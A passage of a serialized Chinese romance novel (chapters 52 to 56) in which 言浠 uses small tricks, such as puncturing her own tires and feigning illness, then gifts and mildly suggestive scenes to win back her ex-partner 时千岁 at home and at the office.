数据也一落千丈。
本来很早就谈好的出版,也因此解约。
时千岁心情复杂。
万万没想到,这看似单纯的“报复”还有更深一层的因果。
韩曲凌安慰:【网络不可控的,很正常。】
时千岁认真道,“这件事我会向她道歉,是我当时考虑不周。”
【所以你还生气吗?】韩曲凌试探。
为什么不生气啊?一码归一码!时千岁狠狠戳屏幕:【就算我有错在先,那就能玩弄我的感情吗?】
韩曲凌发来满屏滑跪,【千错万错都是我的错,我就不该给她出那馊主意你骂我一顿吧,如果这样不能让你消气的话,我来北城让你打一顿也成。】
【跟你没关系,韩叔叔。】
韩曲凌很敏锐地察觉还有其他问题,直接一个电话抛了过来。
“跟你的军师聊聊?”
时千岁把被子掀开,靠到床头,声音闷闷的透着一丝迷茫,“你说,你们的“报复”持续到了什么时候呢?”
言浠一而再的推开和网恋时的狠心拉黑联系到一起,混沌的大脑根本分不清,她是否真对自己有感情。
“额”电话那头愣住,“我有的时候觉得你挺聪明的,有的时候”
“好了韩叔叔,后边的话不用说,我自己会脑补,”时千岁打断她。
韩曲凌换了一副认真的语气,“你仔细想想平时言浠是怎么对你的,想她的行为。”
垂眸片刻,时千岁缓缓说道,“她确实对我很好。”
“但她也从来没说过喜欢我”
“额,”沉默后,韩曲凌轻松道,“那还不简单。”
“给她个机会,让她表现就好了。”
天空泛起鱼肚白。
时千岁躲在窗帘后头,望着楼下那一抹身影,神色陷入了挣扎。
她就那么站了整个晚上,甚至连一步都维持挪动过。
也不知道累不累,或者还能撑多久
一阵风吹过,树叶晃动,那抹身影也跟着猛地一晃,像是随时要倒下去似的。
时千岁心脏一跳,转身走出卧室。
客厅依旧黑暗,时千岁摸黑走向门口。
沙发的阴影里响起了一道熟悉的声音,“你干什么去?”
时千岁被这猝不及防的声音吓了一跳,看清眼前人,心虚道,“姐,你怎么在这?”
“喝水,”时千金问,“你呢?”
“我我去上班”
“上班?你还上什么班?以后都不用去了,”看时千岁杵在原地不动,时千金猛然反应过来,“你想去找她?”
看她沉默,时千金“噌”地站了起来,怒瞪她,“时千岁你是真不长心!合着我劝了你一晚上,不敌她往那一站?”
“我再问你一遍,你确定要走?”
时千岁几不可闻地咬出一个,“嗯”字。
时千金气笑了,“你就是我的心腹大患!以后我再也不管你了!”
“你两,一个恋爱脑,一个不要脸,给我锁死!锁死!”
“出去!”
“可这是我家,”时千岁说。
气急的时千金抓起抱枕砸来。
时千岁急忙闪出门。
不出一分钟再度折返,向忧心忡忡的时千金保证,“老姐,你放心,从今以后我再也不会当舔狗了!”
时千岁下楼后,径直走到了言浠面前,开口便是一句嘲讽,“呦,还等着呢,前妻姐?”
说完不等回答,便步就走。
谁料,言浠身形一晃,朝她身上倒了下来。
时千岁急忙揽住了她的腰,防止她滑到地上,“你怎么了?”
一道虚弱无比的声音贴着耳朵传来,“有点晕。”
“等下还要麻烦你载我,我车胎扎了。”
怀中人睁开眼睛,眼神格外清亮,悄悄把手中的铁钉扔进草丛,又落下一句。
“四个胎都扎了。”
53
第53章
◎她以前怎么没觉得言浠这么粘人呢?◎
时千岁架着言浠走向法拉利。
她那辆黑色本田就停在旁边,时千岁拿余光瞟了一眼。
四个轮胎确实瘪了下去。
只不过瘪得很均匀。
像是人为。
心头刚掠过一丝疑虑,就被言浠一声“哎呦”给打断。
时千岁急问,“哪里不舒服?”
言浠长睫轻颤,苍白的唇瓣轻轻挤出几个字,“还是有点晕”说完,整个人跟没骨头似的往时千岁身上一倒。
唇瓣紧紧贴上她脖颈肌肤,又不满足地悄悄探出舌尖。
时千岁此时心急如焚,对这亲密的接触毫无察觉,她吃力地托着言浠,勉强空出一只手打开了副驾驶的门。
把人安置好系上安全带,衣服已然被汗水全部打湿。
她按下启动键,轰了一脚油门,那金色的法拉利如流线般蹿出小区。
“先去医院?”
言浠闻言,挣扎着坐直身子,语气也带了一丝急促,“不用,我们回家!”
见时千岁狐疑地看了她一眼,又补了一句,“我睡一觉就好了,真的。”
行吧。
时千岁没再多说什么,方向盘一打,拐向了熟悉的街道。
太阳跃出地平线,天色完全亮了。
两人终于回到了自家小区门口。
时千岁强撑一夜的疲惫,费力地把言浠架出来,又费力地搀扶着她穿过长长的小路,终于到了家,把人送进了卧室。
体力彻底透支,时千岁瘫在客厅沙发,一根手指都不想动。
不到一分钟。
卧室门口传来一阵响动,言浠的声音随后出现,“你不进来休息吗?”
时千岁往后看了一眼,见她强撑着门框,一副虚弱的模样,眉心一拧,“你出来干什么?”
言浠垂眸,犹豫道,“我想你陪我”
时千岁:“”
她以前怎么没觉得言浠这么粘人呢?
言浠眸光闪动,语气哀求,“可以吗?”
时千岁心软一瞬,但又不想轻易妥协,撇下一句“我考虑考虑”,转头钻进了浴室。
听浴室水声响起,言浠一改柔弱姿态,目光幽深地盯着门上晃动的那道人影。
直到卧室里电话铃声接连不断地响起,言浠这才依依不舍地移开了目光,走进卧室。
时千岁冲了个凉,洗去满身黏腻,又来到厨房倒了一杯凉白开。
刚走到门口,就听见里边传来了言浠精神十足的声音。
时千岁脚步一顿,把耳朵贴到了门上
韩曲凌这边也担心的整晚没睡。
眼见日上三竿,好友没消息,终于忍不住拨来了电话。
“怎么样怎么样,你还在人家门口站着呢吗?”
言浠松弛地靠着床头,“没有。”
韩曲凌急,“就这么走了?这点定力都没有怎么追女朋友!!!”
言浠勾唇一笑,“我把时千岁带回来了。”
“嗯???”
言浠得意,“用了点小手段。”
突然“砰”的一声响,大门被重重推开。
时千岁冷笑着出现在门口。
言浠心头一跳,慌乱地挂断了电话。
“打啊,怎么不打了?”时千岁哂笑一声,“前妻姐好手段啊,”又是扎轮胎又是装病的,“把我耍的团团转!”
见她心虚沉默。
时千岁狠狠瞪她一眼,冲进屋,开始收拾起行李。
言浠见状,顾不得那么多,急忙翻身下床,来抢夺她的行李箱。
时千岁冷冷道,“松开!”
“不松,你不许走。”
呵,时千岁把箱子一甩,扭头就走,“我不要了。”
言浠冲到她前面,堵住了客厅大门,恳求道,“我错了,以后不敢了,能不能给次机会?”
早干嘛去了,时千岁重重地“哼”了一声,转身进了次卧,关门上锁。
声音隔着门板传出,“以后我睡这,没事不要来打扰我!”
疲惫来袭,时千岁躺到小床上打算补觉,刚刚闭上眼,就听到了门锁拧动的声音。
接着,响起了轻轻地敲门声。
时千岁拧眉,“我刚才说的话没听到吗?”
门外人小心翼翼道,“我听到了。”
“但我有事”
时千岁翻了个身,没有开门的打算,“你说吧,我听着呢。”
门外沉默了,只剩持续的敲门声。
“不是,你到底要干嘛呀?”时千岁烦了,起身冲过去开门。
门一打开。
只见言浠怀中抱着枕头,眼巴巴朝她望过来。
时千岁一下子看穿了她的打算,不等她开口,便斩钉截铁的拒绝,“不可能。”
言浠说,“可是,我想和你一起睡”
“没有你,我睡不着”
吃一堑长一智,时千岁才不会再心软,一把按住了眼前人蠢蠢欲动的肩头,“睡不着那你就克服一下。”
“你要不让我进去,我就一直敲。”
嘿时千岁总算明白老姐那句“不要脸”的含义了,她摆摆手,冷漠道,“死缠烂打是没用的。”
“前妻姐,我们已经分手了,请你有点边界感好吗?”
言浠彻底贯彻死缠烂打的作风。
她轻轻勾住时千岁的衣摆,小心翼翼地试探道,“可是当初我们也不算分手。*总之我不同意”
这是什么令人发指的逆天言论?
简直震惊!
就不应该给她机会!
时千岁真气着了,猛地把人往外一推,“砰”地关上了门
两人在家补了半天觉。
下午出发去公司。
言浠借着交通不便之由,还打算蹭时千岁的车。
时千岁连个眼神都没给她,直接扬长而去。
等言浠到公司时,办公室里属于时千岁的东西已经全部被搬空。
言浠满公司找人,最后在策划部找到了正和同事们聊得热火朝天的小家伙。
时千岁打远就看到了急冲冲奔向她的人影,和同事们说了声,“稍等”,转过头,又是一脸冷漠。
“言经理,有事吗?”时千岁赶在她开口之前,把话堵住,“如果是跟工作无关的事情,就不要说了。”
“还有!别再跟我说你不同意我回原岗位这种话了,不要忘了,这可是我家公司,我想去哪就去哪,哼!”
言浠瞬间哑口无言。
时千岁瞟了瞟她,“你怎么还不走?”
“麻烦言经理注意一下影响,不要打扰我们工作。”
言浠一脸挫败地回到办公室。
正巧遇到了前来商议工作方案的林沐涵。
林沐涵看她表情,诧道,“这是怎么了?失恋了?”看言浠苦笑了一下,她震惊,“难不成我猜对了?”
言浠声音沉闷,“工作的事你自己看着办,”她往沙发中间一坐,烦躁地按住了太阳穴。
八卦是人之天性,林沐涵也不例外,而且,难得在言浠身上看到这幅神情,那可太不容易了,她紧挨她坐下,“工作不急,要不跟我说说?”
言浠长长地叹口气,心中烦闷实在无法疏解。
决定一吐为快,“准确的来讲,不算失恋,但是这个状态又很奇怪。”
言浠把这些天发生的事跟她讲了一遍,包括两人之前的那段关系。
“然后就到了现在的这个局面。”
林沐涵震惊得无以复加,憋了半天,才憋出一句,“你也有今天”
言浠瞪她一眼,不悦道,“我是想让你帮我分析分析,不是来听你落井下石的。”
“行行行你别急,”林沐涵再次把她这番话消化一遍,还是没忍住吐槽道,“你说你干的是什么事啊!”
“她本来就在气头上,你还死缠烂打!”
“她觉得被耍,你还玩套路!”
“她对拉黑的事耿耿于怀,你还提“不算分手”!”
听到最后,言浠彻底没了脾气,把所有希望寄托于林沐涵,“那你说,我现在怎么挽回?”
“就你这情商,我都懒得说,”林沐涵无语地瞥了她一眼,“当然是顺着她来。”
言浠追问,“然后呢?”
“别来硬的。”
“她喜欢你什么样,你就什么样。”
言浠给她倒了杯水,递到手边。
林沐涵慢悠悠喝了口,继续道,“然后等她态度缓和再道歉、哄人。”
言浠又问,“怎么哄?”
嘶,怎么哄这还真涉及到知识盲区了,林沐涵绞尽脑汁,愣是没想出个一二三来。
言浠见状,把她手中杯子夺走,轻飘飘来了一句,“你情商也高不到哪去。”
“嘿,你这人”
正在这时,时千岁推门而入,目光在两人身上一扫,“聊着呢?没打扰你们吧,我就是有个东西落在这了。”
“取完就走,你们继续。”
言浠猛地起身,退离林沐涵八丈远,和她撇清关系,“我可没跟她说话!”
靠,不带这么过河拆桥的!林沐涵震惊。
“跟我有关系吗?”时千岁从工位抽屉中取出遗落的笔记本,翻开一页空白,提笔写了几个字,随后走到言浠跟前,“你就是和她在一起,我都没有一丁点意见。”
“不过,”话音一顿,时千岁一把撕下那张纸,“啪”地一下按在了言浠脑门上,“林经理可能,不会喜欢你这样的”
纸张飘落在地,白纸黑字明晃晃的两个大字,补齐了时千岁未说完的话。
【渣女!】
干得漂亮!林沐涵朝时千岁潇洒离去的背影比了一个大拇指,回过头来,狠狠白了一眼言浠。
“你活该!”
54
第54章
◎孔雀开屏了!!!◎
时千岁下班和同事去看了电影,回家后就看见次卧门大敞。
糟糕!她心尖一颤。
忘记锁门了。
这不是给言浠可乘之机了吗?
她一个箭步冲进去,一句“你给我出去,”还没说出口,就被言浠的造型惊呆在原地。
“你你你”她目光紧紧地盯着言浠光洁脑门上重新贴上去的三个大字,话都说不利索了。
言浠从容一笑,解释道,“你没让我拿下来,我不敢做主。”
时千岁指尖蜷了蜷,移开目光,“你就这么一路贴着回来的?”
言浠坦诚,“那倒没有。”
“呼”,时千岁紧绷的肩膀微不可察地松懈了下来,悄悄吐出一口气。
可目光再次掠过那刺眼的“死”字,心尖像被细针扎了一下。
言浠仿佛看穿了她的疑惑,不等她问,便悠悠解释,“我记得你上次说过,再见前任时,会把“死渣女”三个字狠狠按她脑门上,我看你少了个字,就擅作主张补上了。”
也不是忘了,只是觉得这个字很晦气,而且好像也没有那么严重。
时千岁心里多少些不是滋味,别扭地扭过了头,转移话题道,“那你进我房间干什么?”
言浠侧过身子,露出身后景象,“最近天气转凉了,我给你抱了一床厚被子,还给你铺了条绒毯。”
时千岁狐疑地扫视房间,“就这样?”
言浠补充道,“还把你的行李送过来了,衣服也帮你整理好了,”说完,利落地站起身,“那我就不打扰你了,晚安。”
时千岁:“???”
这就走了?不死缠烂打了?
时千岁还是不信,目送她背影消失在门口,急忙冲上去锁好了门。
又把耳朵贴到了门上。
等了足足五分钟,那敲门声没再响起,悬着的心勉强落回了一半
翌日,诱人的饭菜香气从门缝隙溜进卧室,成功把时千岁从睡梦中叫醒。
她鼻翼翕动,肚子很不争气的发出了一串咕噜噜的抗议。
几乎同时,轻柔的敲门声响起,伴随着言浠清越的嗓音,“我做了早饭,吃一点吗?”
时千岁趿拉着拖鞋,慢吞吞地开了门。
言浠站在晨光里,向她展示着餐桌。
“我煲了海鲜粥、小笼包,还做了几盘小菜。”
“”
记忆瞬间回笼,上次闹别扭,她也是这套路,连菜式都一模一样,毫无新意!
就没点新花样吗?
她才没有那么好哄!时千岁十分硬气地说了声,“不吃。”
说完,侧身绕过言浠,径直走向卫生间。
然而,路过餐桌时,目光还是不受控地飘向那氤氲着热气的碗碟,晶莹的虾仁在浓稠的粥里若隐若现,小笼**薄得透出诱人的肉馅汁色,小菜色泽鲜亮,勾的人馋虫大动。
她喉间无声的滚动,疯狂咽口水。
没出息,时千岁暗骂自己一声,这才艰难地移动了脚步。
洗漱完毕,她抓起包准备出门。
言浠在背后叫住了她。
时千岁脚步一顿,带着防备回头,“有什么事?如果是搭车的话不方便。”
言浠笑笑,抽出纸巾慢条斯理地擦了下嘴角,才缓缓道,“不是。”
“嗯?”
言浠起身,从厨房拿出一个保温箱,“是要请你帮个忙。”
“昨天周琦琦夸我厨艺好,我一时兴起,答应了给她做早饭,我想着既然做了就公平一点见者有份,就把你们办公室所有人的早饭都承包了,”言浠一个停顿,“也包括你。”
“当然,你要是不想吃也可以扔进垃圾桶,这都没关系。”
赶在时千岁开口拒绝之前,她又轻声的补了一句,“我等下要去4s店取车,所以只能拜托你了。”
“同事一场,帮个忙?”
于是,时千岁就这么稀里糊涂地抱着沉甸甸的保温箱踏进了公司。
早餐瞬间被疯抢。
时千岁眼疾手快,紧紧护住了贴着自己名字标签的那一份。
扔是不舍得扔的,她坐到工位,打开保温盒,准备大快朵颐。
“哇!”周琦琦探过了头,眼睛瞪得溜圆,语气满是夸张的控诉,“为啥你的这么丰盛,我们只有干巴巴的包子啊!”
“呜呜呜,言经理好偏心。”
这话一出,言浠这一早上的行为,终于在时千岁脑海里连成了一条清晰的线。
所以说,饶了这么大一圈子,就是为了让自己吃她亲手做的早餐?
还真是挺别出心裁的,时千岁不自觉地扬起了唇角
临近中午时,办公室外的走廊传来阵阵骚动。
紧接着,周琦琦像颗炮弹般冲了进来,直扑到时千岁桌前,胸口剧烈起伏着,一张脸涨得通红。
时千岁疑道,“怎么了?”
周琦琦指着门外,激动得语无伦次,“我我我女神学姐”
时千岁无语,“你能不能淡定点”
周琦琦深呼吸再深呼吸,总算把后续说出了口,“孔雀开屏了!!!”
时千岁:“???”
话音刚落,一道高挑窈窕的身影出现在了办公室门口,瞬间吸引了所有人目光。
周琦琦倒吸一口冷气,捂着胸口“咚”地一声瘫回椅子里,一副快要晕厥的模样。
时千岁心中正纳闷,下意识朝众人视线望去。
只一眼,整个人便僵在了原地,连呼吸都仿佛停滞住了。
言浠今天画了精致的妆容,冷白如玉的耳垂上,缀着摇曳生姿的银色流苏耳饰,衬得那张本就明艳的脸越发美得惊心动魄。
一身剪裁精良的黑色深V西装,完美勾勒出她妙曼起伏的曲线,同搭同色系蕾丝镂空打底,半遮半掩间,一道引人遐思的深邃沟壑若隐若现。
这女人
打扮得如此招摇,是存心来勾引她的吗?
她是这么容易被美色迷惑的人吗?时千岁强行把目光从言浠身上撕下,心里默念清心咒。
成大事者,扛得住诱惑,耐得住寂寞
高跟鞋踩在瓷白的地板上,声音带着诱惑逼近,时千岁心跳不争气的乱了节奏。
好闻的冷香压下,两根玉白的手指像是不经意的从她眼前滑过。
指节分明、纤长有力。
最后落到了桌子上,敲了敲。
咚咚。
时千岁的心脏也跟着那敲击声重重地跳了两下,目光好不容易从那只好看的手上撕下来,又猝不及防地撞入了那片因俯身而更加清晰、更加诱人的风景线。
时千岁眼睛发直,无声的咽口水。
嘴上不忘逞强,“你离我这么近干什么?”
“抱歉,”言浠从善如流地直起身,那片惊心动魄的风景也随之隐没。
心底划过一丝空落落的惋惜,时千岁语气也跟着闷下来,“有事吗?”
言浠把她的情绪转变尽收眼底,缓缓勾起唇,“有事。”
她把藏背后的一大束炽烈如火的红玫瑰拿到身前,递给一脸错愕的时千岁,赶在她拒绝之前解释,“往常送花被赋予了各种意义,比如求爱比如惊喜,而我不一样,我只是觉花很漂亮,跟你很搭,所以我选择把它送给你,我的同事。”
时千岁:“???”
这女人,居然把她的话照搬了,而且好像还没理由拒绝
时千岁接过那沉甸甸的玫瑰,极力地压制住上扬的嘴角,“行吧,那就给你个面子。”
言浠觑着她那副明明喜欢却强装镇定的模样,眼底笑意更浓,“我还有个请求,我上午去4s店,店员说我的车年头太长了,好多零件需要更换,我想着与其那么麻烦,不如换辆新的,所以陪我去看车?”
时千岁:“???”
怎么还得存进尺了呢?
言浠又说,“同事一场,帮个忙?”
“毕竟你对车比较了解。”
时千岁:“”
“行吧,既然你都这么说了,那我勉强帮你一下。”
工作的事甩给了林沐涵。
两人驱车前往4s店。
“话说,你想买什么车型?多少的预算?是注重性能还是外观?”时千岁停好车,往门口走。
言浠脱口而出,“你喜欢就好。”
“嗯?”时千岁猛地顿住脚步,“什么叫我喜欢就好,明明是你买车!”
见她皱眉,言浠赶忙改口,“对对对,是我买。”
言浠认真想了想,“我不喜欢跑车,太张扬。”
“最好是空间大的吧,其他的没什么要求。”
嘶,别说,还真别说,言浠和自己想法竟然不谋而合,时千岁想。
言浠盯着她越发明亮的眼睛,心里不住的琢磨,难不成这小家伙脑子里又在想什么乱七八糟的东西吗?
时千岁忽地一拍手,语气难掩兴奋,“走吧,”说完,便迫不及待地冲进了一家宝马店里。
言浠:“”
她好像猜对了。
店员见两人衣着、气质不凡,立刻热情地围拢上来。
“中午好,请问两位小姐有预约码,是哪位看车?有没有心仪的车型我给您介绍一下?”
时千岁和言浠向那一排展车望去,目光同时定格在一辆黑色suv上。
店员立刻热情洋溢的介绍,“两位眼光真不错,x7黑武士,妥妥的西装暴徒,颜值与实力并存,无论是商务出行还是休闲游玩,到哪里都是众人瞩目的焦点。”
“外观方面延续了宝马品牌经典的双肾式进气隔栏,内部黑化设计非常有辨识度,两侧大灯采用了分体式设计造型流行时尚更加附和年轻人的审美,动力方面3.0T直系六缸涡轮增压发动机”
言浠被念得头疼,开口打断,“好了,你们能不能回避一下?”
店员:“???”
虽然不理解,但还是顺从地退开了。
待周遭安静下来,言浠径直走到那辆黑色X7旁,拉开宽大的后车门坐了进去,并对车外一脸懵的时千岁发出了盛情邀请,“请问,可以帮我试一下这辆车的空间舒适度吗?”
时千岁目光情不自禁地移到了她笔直修身的大腿上,讷讷道,“怎怎么试?”
眼前人一声轻笑,下一秒,一只温热的手精准地扣住了她的手腕,将她拉近怀里。
蛊人的声音也滑入耳畔,“当然是坐到我腿上试。”
连续几日刻意保持距离,让那潜藏的思念无声发酵,此刻在密闭的车厢内骤然放大,猛烈地搅动着时千岁的心跳。
那张美得令人屏息的脸庞,就这么放大在了她眼前。
时千岁呼吸渐乱,目光不受控地滑向了眼前人鲜艳欲滴的红唇。
好想亲。
言浠感受到了这灼热的视线,主动开口,“我没试过在这个环境下接吻,要不”
时千岁眼睛微微发亮,语气却是带了几分不耐,“怎么,又要我帮你?”
言浠声音微哑,“嗯。”
“同事一场,帮个忙?”
时千岁扬了扬眉,“行吧,那我勉强帮你一下。”
说完,便迫不及待地咬向了那片红唇。
55
第55章
◎这幅模样,活脱脱一个被欺负狠了、委屈巴巴的小媳妇◎
双唇刚接触,那急切的舌就迫不及待的撬开她的贝齿。
强势又霸道地掠夺着她的呼吸。
时千岁瞬间失了力,软趴趴地往言浠怀里栽。
眼前人没有给她任何喘息机会,不断深入。
时千岁在那摇摇欲坠的理智中,拼命抽出了一丝清醒,朝那片柔软咬了下去。
“嘶”言浠吃痛,松开了她。
时千岁胸口剧烈起伏,狠狠地瞪了言浠一眼,喘息半响,才勉强拼凑出完整的句子,“你这是求人帮忙的态度吗?”
言浠心头一紧,眸底欲色褪尽,“对不起。”
语气近乎恳求,“能不能再来一次?”
见她模样乖顺,时千岁心情大好,大发慈悲道,“行吧,那说好了,你不许伸舌头。”
话音未落,她已倾身,擒住了女人的唇。
蛮横地撬开齿关,勾缠住那条软舌。
时千岁化被动为主动。
贪婪地摄取着其中甘甜。
这个深吻持续了很久。
直到感受身下人快承受不住时,时千岁才依依不舍地松开了那片唇瓣。
只见,言浠胸口剧烈的起伏,那双漂亮的眼睛此时像是氤氲了一汪化不开的春水,水雾蒙蒙,眼尾也随之晕开一抹诱人的绯红。
视线向下望去。
那唇瓣鲜艳欲滴,精致的唇妆早已斑驳晕染。
这幅模样,活脱脱一个被欺负狠了、委屈巴巴的小媳妇。
天呢这种感觉,简直爽翻了!时千岁眼中是抑制不住的得意与嚣张。
言浠缓了缓神,摸出纸巾想擦拭。
“擦什么擦!”时千岁厉声制止,“我让你擦了吗?”
说罢,推门下车,大摇大摆走了出去。
言浠愣了愣,无奈顺从的跟上她的脚步。
店员们见客人出来,正欲围上去,目光却被后面那位肿胀的红唇吸引。
众人眼神瞬间亮起,八卦的视线在空中噼啪作响。
“原来是一对儿啊,天啊,好养眼,我要磕起来了!”
“怪不得让我们回避,原来是亲嘴去了!”
“就是就是!”
“不过万万没想到,那个外表看起来柔柔弱弱的小姑娘,竟然这么厉害。”
感受到众人的目光,时千岁心中得意更甚,高高地扬起了下巴。
而跟在身后的言浠,却是如同被公开处刑,窘迫、羞恼,浮上心头,耳根瞬间红透。
好欠收拾!言浠盯着前方那嚣张的背影,后槽牙磨得咯咯响。
又在对方回头时迅速敛去怒意,眉眼低垂,温顺异常。
真乖,时千岁尾巴都要翘上天了,脑海里自动播放起霸总与小娇妻的戏码。
想到此,她当即霸总附体,抽出银行卡递给店员。
“全款,”她啪一声将卡拍在柜台,又轻挑地挑起言浠的下巴,“刚才表现不错,这是我给你的奖励。”
店员集体:哇哇哇!
言浠危险地眯了眯眼。
并在心里咬出了三个大字:你等着!
办理好手续,两人往出走。
见言浠一路沉默,时千岁不禁挑眉,“言经理脸色这么难看,是对我不满意吗?”
言浠把林沐涵叮嘱她的话在心里默念几遍,这才挤出了一个笑容,“我怎么敢对你不满呢。”
“我只是在回味你的吻技。”
看着时千岁嘴角抑制不住的上扬,言浠试探着问,“消气了吗?我们谈谈。”
“消气?”时千岁瞬间变脸,重重地哼了一声,压下嘴角,“以后再说!”
她还没欺负够呢!
两人回到公司。
正巧遇到在办公室门口等待许久的徐梦瑶。
她手中捧着一本厚厚的册子,神情肉眼可见地紧张。
时千岁随口招呼,“嗨,等谁呢?”
徐梦瑶猛地抬头,脸颊飞红,话都结巴了,“我我想送你”
闻言,言浠脸色骤变,如临大敌般看向她。
对上这警惕的视线,徐梦瑶心中顿时生出几分胆怯,但依旧没有退缩,“这是我做的植物收藏手账,想送给你,”说完,把本子往时千岁怀中一塞,转身就跑。
时千岁满心疑惑,喃喃道,“送就送,跑什么?”
她随手翻开,“还挺好看的。”
言浠冷眼瞥去,册子里是精心压制的花草标本,旁边细致标注着季节、花语。
这么一比较,自己送玫瑰这个举动就显得如此敷衍和廉价。
言浠心头涌起醋意,实在没忍住,质问道,“你为什么要收她的礼物?”
“嗯?”这是什么语气?时千岁蓦地转过身,语气嚣张,“你是不是又忘记了自己的身份?”
言浠的心脏被这句话刺了一下,瞬间冷静下来,重新放低了姿态,“对不起。”
时千岁冷哼一声,“这还差不多。”
言浠垂眼,掩住慌乱,“她喜欢你,你知道吗”
时千岁:“???”
怎么可能?她怎么没发现?
言浠余光看她一脸惊讶的样子,悬着的心总算放下了一半
时千岁抱着那厚厚的收藏册回到了工位。
起初,对言浠的话半信半疑,直到翻开扉页,看见那一行字。
——春夏秋冬、五彩斑斓,世界上所有的美好都该属于你。
难怪徐梦瑶跟自己说话时总是会脸红。
难怪她会频繁试探自己的喜好。
难怪团建时因为自己调换房间而低落。
时千岁看着这本收藏册,懊恼地想,如果早发现,她断然不会收下着这沉甸甸的心意。
如今,又将怎么回绝,才能把伤害降到最低?
时千岁就这么心事重重地度过了一下午。
转眼到了下班点。
时千岁暂且抛开纷乱思绪,溜达到了言浠的办公室,去看她的小娇妻。
结果却被告知她早就离开了公司。
好啊!现在都敢不等她了?这是哄人的态度吗?
时千岁气冲冲地赶家。
甫一推开家门。
就被眼前景象定在原地。
客厅焕然一新,超大屏液晶电视搭配专业的影音设备,舒适的真皮沙发上立着一对情侣靠枕。
双开门冰箱下方整齐堆放着各类食材。
绿植点缀在各个角落,生机盎然,整个家弥漫着温馨舒适的气息。
“回来了?”言浠闻声抬头,随即又专注回手中活计。
时千岁带着几分疑惑走近。
只见言浠正蹲在地上,专注地组装着一个造型别致的秋千椅。
椅背上还精心装饰着几个可爱的玩偶。
“沙发、音响和电视是按照之前你挑的那套送来的,”言浠拧上最后一颗螺丝,拍了拍手,指向秋千,语气带了一丝不易察觉的期待,“这个是我给你做的。”
原来言浠提前下班,是为了给自己准备惊喜。
时千岁心里美滋滋的,面上却是不动声色。
“你亲手做的?”
“做了多久?”
“两个小时,”言浠紧张道,“喜欢吗?”
时千岁抿了抿唇,故作高冷,“还行吧。”
还行?凭什么徐梦瑶做的手账就那么喜欢,到了自己这变成了“还行”!言浠心里醋海翻涌,暗暗攥紧拳头。
时千岁还沉浸在喜悦中,对此一无所觉。
她扬扬下巴,“不过,看在你这么辛苦的份上,今晚奖励你侍寝。”
醋意被狂喜冲散,言浠急切地抓住她的手臂,再三确认,“真的?”
“啧,”时千岁拧眉看向落在手腕处的那只手,不悦道,“使那么大劲干嘛?”
言浠急忙松开,低声道歉,“不好意思。”
这态度深得她心,时千岁满意极了,脚步轻快地奔向卧室,“记得洗干净点。”
“知道了。”
好久没同床共枕了,想想还有点激动。
浴室水声停了,片刻卧室门被轻轻敲响。
“咚咚咚。”
时千岁心脏又没出息地擂起了鼓。
她深呼吸几次,才勉强稳住了声线,“进来吧。”
首先映入眼帘的是一双白皙纤细的腿。
睡裙下摆堪堪遮住大腿根,布料服帖地勾勒出挺翘的臀线和纤细的腰肢,更衬得胸前曲线傲人。
顶端的轮廓若隐若现。
时千岁呼吸一窒。
又来勾引那一套?
哼,她才不会这么轻易被诱惑。
她强行移开目光向上看,却撞进一双饱含水汽的眼眸里。
面颊绯红,眼角含春,像极了下午被吻透后的模样。
时千岁想,如果她再努力一点,会不会把言浠亲哭。
念头一起,她立刻付诸了行动。
迫不及待地拍了拍身侧,“来来来。”
言浠顺从的走到床边,躺了下来。
时千岁又飞快地跳下床,冲进了言浠的卧室。
很快又折返回来,手里多了条绳子。
对上言浠诧异的眼神,时千岁理直气壮且嚣张,“你绑过我一次,我还回来,不过分吧?”
说完,利落的把言浠的双手绑到了床头。
“老规矩,不许反抗!”急切的吻随之落下
双手被缚,无助感放大了所有感官。
言浠只能任由她予取予求,承受着这个漫长而磨人的吻
直到感受到唇瓣传来微微刺痛,时千岁才心满意足的退开。
指尖轻轻抚过身下女人红肿的唇瓣,又吻向她湿润的眼尾。
言浠微微喘息着,声音沙哑,“发泄够了吗?你还生我气吗?”
当然没够,时千岁心里嘀咕,嘴上却含糊其辞,“还行吧。”
“现在能谈了吗?”
那可不行!这么快妥协,还怎么继续欺负她?
时千岁暗搓搓地想。
言浠屏息等待回答。
刺耳的手机铃声骤然划破静谧。
言浠瞥了眼床头柜,“帮我看看是谁?”
时千岁拿过言浠手机,指尖一滑,“韩叔叔的语音电话。”
“不接。”言浠语气不耐。
时千岁随手挂断,屏幕中退回微信界面。
时千岁目光移向自己的微信头像。
只见旁边赫然备注着三个大字“挂七门”。
时千岁一愣,不可置信道,“你竟然敢取笑我?”
还取笑了这么长时间?
“想求原谅,没门!”
56
第56章
◎那瓶子里的粉色药丸,是如此的熟悉。◎
自这晚过后。
时千岁过上了衣来伸手饭来张口的日子。
言浠对她千依百顺,无限纵容。
反观时千岁,非但没有松口原谅,反而对这种不对等的关系上了瘾,愈发得寸进尺。
动不动就耍小性子不说,更是一言不合就将言浠赶下床。
这日清早。
时千岁大摇大摆地推开了言浠办公室大门。
只见林沐涵等几位高管正围在言浠办公桌旁,气氛焦灼地商讨一个工作疏漏的紧急补救方案。
争论声在她推门的瞬间戛然而止。
屋内众人不悦地皱眉望向门口,看清来人时,又齐刷刷地敛起情绪,低下头去。
言浠一愣,放下文件,“有什么事吗?”
时千岁背着手,在屋内晃悠了一圈,站定在了言浠面前,下巴一扬,“我要吃火锅。”
言浠应道,“没问题,中午就带你去吃。”
时千岁眉毛一拧,“我说我现在就要去!”
“可是,现在才八点多,”哪有火锅店开门?言浠试图商量,“要不晚一点?等我把工作处理完?”
时千岁扭头就走,“我给过你机会了!”
言浠急忙起身去追,语气恳求,“五分钟,最多五分钟。”
时千岁满意了,“这还差不多。”
言浠把人安抚好,回到办公室,迎上一众探究的目光,尴尬道,“剩下的细节和林经理敲定就好,我有急事,需要出去一趟。”
急事?他们可都听到了!众人心里多有抱怨,甚至有人发出不满地叹气声。
林沐涵把资料震慑性的往桌子一拍,这些人瞬间噤声,腰杆挺直。
林沐涵起身,一言不发地将言浠拽出了办公室,拉到无人的角落。
言浠看了眼表,催促道,“还有四分钟,有什么话快点说。”
林沐涵对言浠这段时间的行为实在看不过了,气愤道,“把工作推给我就算了,但你在公司能不能多少注意点影响?”
“你知道底下员工背后是怎么议论你的吗?说你为了泡到时家千金尊严都不要了。”
“不是,言浠,你能不能别这么迁就她,你现在都快成舔狗了!”
言浠不以为意,“不是你让我顺着她来的吗?”
林沐涵一噎,“那也不能不分事态不分场合的一味纵容啊,你看你们现在,非但没有进展,她反而越发无理取闹了。”
言浠何尝不知道?只是别无他法。
她故作轻松岔开话题,“先不说这些,你有没有朋友是开火锅店的?帮个忙?”
林沐涵气急了,狠狠瞪她一眼,“我不管你了!”
